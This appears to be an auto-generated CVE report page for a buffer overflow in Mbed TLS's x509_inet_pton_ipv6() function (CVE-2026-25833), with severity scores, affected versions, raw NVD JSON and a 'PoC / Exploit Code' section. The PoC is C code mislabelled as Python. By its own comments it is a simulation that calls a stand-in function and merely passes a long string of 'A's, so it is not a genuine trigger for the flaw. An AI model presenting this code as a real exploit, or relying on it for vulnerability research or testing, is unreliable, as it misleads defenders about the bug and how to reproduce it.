Security Vulnerability Report
中文
CVE-2026-25833 CVSS 7.5 HIGH

CVE-2026-25833

Published: 2026-04-01 19:16:29
Last Modified: 2026-04-06 14:18:32

Description

Mbed TLS 3.5.0 to 3.6.5 fixed in 3.6.6 and 4.1.0 has a buffer overflow in the x509_inet_pton_ipv6() function

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:mbed_tls:4.0.0:*:*:*:*:*:*:* - VULNERABLE
Mbed TLS 3.5.0 - 3.6.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <string.h> #include "mbedtls/x509.h" // PoC for CVE-2026-25833: Buffer overflow in x509_inet_pton_ipv6 // This code attempts to trigger the overflow by passing a long IPv6 string. int main() { // Create a malicious long IPv6 string char malicious_ipv6[256]; memset(malicious_ipv6, 'A', sizeof(malicious_ipv6) - 1); malicious_ipv6[sizeof(malicious_ipv6) - 1] = '\0'; unsigned char output_buffer[16]; printf("Attempting to trigger CVE-2026-25833...\n"); // Call the vulnerable function (simulation based on description) // In a real scenario, this would be the internal x509_inet_pton_ipv6 call // during certificate parsing or IP verification. int result = mbedtls_x509_crt_parse_ipv6(malicious_ipv6, output_buffer); if (result != 0) { printf("Function returned error code: %d\n", result); } else { printf("Function call succeeded (unexpected).\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25833", "sourceIdentifier": "[email protected]", "published": "2026-04-01T19:16:28.530", "lastModified": "2026-04-06T14:18:32.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mbed TLS 3.5.0 to 3.6.5 fixed in 3.6.6 and 4.1.0 has a buffer overflow in the x509_inet_pton_ipv6() function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.6.6", "matchCriteriaId": "3278BC57-7535-4FB5-B2AA-2938CB48504B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8EF688FA-732F-4EAF-BAC6-AC3CDAF19588"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-inet-pton/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}